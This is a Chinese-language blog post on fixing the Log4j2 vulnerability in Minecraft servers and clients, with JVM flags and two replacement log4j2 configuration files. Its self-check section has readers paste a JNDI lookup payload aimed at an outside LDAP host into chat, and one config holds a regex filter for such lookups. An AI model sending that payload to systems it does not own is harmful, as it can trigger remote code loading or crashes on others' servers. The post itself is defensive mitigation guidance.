緊急!Minecraft服務(wù)器、客戶端的Log4j2漏洞修復(fù)

情況簡述

昨日,Apache Log4j爆出重大漏洞,攻擊者只要使目標(biāo)系統(tǒng)產(chǎn)生特定的日志即可實(shí)現(xiàn)代碼注入,即:使目標(biāo)系統(tǒng)執(zhí)行指定代碼。

Minecraft服務(wù)器端,包括Forge、官方端等服務(wù)端,以及非官方的或舊版的客戶端全線受到影響。

詳細(xì)信息以及具體的修復(fù)方式,參見:https://www.mcbbs.net/thread-1283097-1-1.html

漏洞自查

要檢查自己的服務(wù)端/客戶端是否受到影響,請進(jìn)入游戲,從客戶端向服務(wù)端發(fā)送以下聊天信息(盡量把這里面的網(wǎng)址隨便改改,小心瞎貓撞上死耗子):


${jndi:ldap://miaomiaomiao.com/dsadasdadweqddfdczxcxcawdeqqfwsefs}

如果你的客戶端崩潰了,恭喜你,你的客戶端受到影響

如果你的服務(wù)端崩潰了,恭喜你,你的服務(wù)端受到影響

對于沒有修復(fù)的客戶端、服務(wù)端,大概率兩者一起崩潰

漏洞自糾

請分別對服務(wù)端、客戶端作以下修改,修改后請按【漏洞自查】中的思路驗(yàn)證漏洞是否仍然存在

服務(wù)端

對于1.7-1.11.2的Minecraft版本,在java虛擬機(jī)啟動(dòng)參數(shù)中添加:


-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_17-111.xml

并將文末所附的log4j2_17-111.xml放到服務(wù)端所在的文件夾中

對于1.12-1.16.5的Minecraft版本,在java虛擬機(jī)啟動(dòng)參數(shù)中添加:


-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_112-116.xml

并將文末所附的log4j2_112-116.xml放到服務(wù)端所在的文件夾中

對于1.17的Minecraft版本,在java虛擬機(jī)啟動(dòng)參數(shù)中添加:


-Dlog4j2.formatMsgNoLookups=true

對于1.18的Minecraft版本,請升級到1.18.1或遵循1.17的修復(fù)方法

客戶端

以我自己的經(jīng)驗(yàn)來說,以HMCL為例,在全局版本設(shè)置中,將Java虛擬機(jī)參數(shù)修改為:

-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true

即可(與服務(wù)器修復(fù)方法基本相同)

如果這些不行的話,請嘗試服務(wù)器修復(fù)方法中的其他參數(shù)

log4j2_17-111.xml


<?xml version="1.0" encoding="UTF-8"?>

<Configuration status="WARN" packages="com.mojang.util">

    <Appenders>

        <Console name="SysOut" target="SYSTEM_OUT">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />

        </Console>

        <Queue name="ServerGuiConsole">

            <PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg%n" />

        </Queue>

        <RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />

            <Policies>

                <TimeBasedTriggeringPolicy />

                <OnStartupTriggeringPolicy />

            </Policies>

        </RollingRandomAccessFile>

    </Appenders>

    <Loggers>

        <Root level="info">

            <filters>

                <MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />

                <RegexFilter regex=".*\$\{[^}]*\}.*" onMatch="DENY" onMismatch="NEUTRAL"/>

            </filters>

            <AppenderRef ref="SysOut"/>

            <AppenderRef ref="File"/>

            <AppenderRef ref="ServerGuiConsole"/>

        </Root>

    </Loggers>

</Configuration>

log4j2_112-116.xml


<?xml version="1.0" encoding="UTF-8"?>

<Configuration status="WARN">

    <Appenders>

        <Console name="SysOut" target="SYSTEM_OUT">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />

        </Console>

        <Queue name="ServerGuiConsole">

            <PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg{nolookups}%n" />

        </Queue>

        <RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">

            <PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />

            <Policies>

                <TimeBasedTriggeringPolicy />

                <OnStartupTriggeringPolicy />

            </Policies>

        </RollingRandomAccessFile>

    </Appenders>

    <Loggers>

        <Root level="info">

            <filters>

                <MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />

            </filters>

            <AppenderRef ref="SysOut"/>

            <AppenderRef ref="File"/>

            <AppenderRef ref="ServerGuiConsole"/>

        </Root>

    </Loggers>

</Configuration>

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容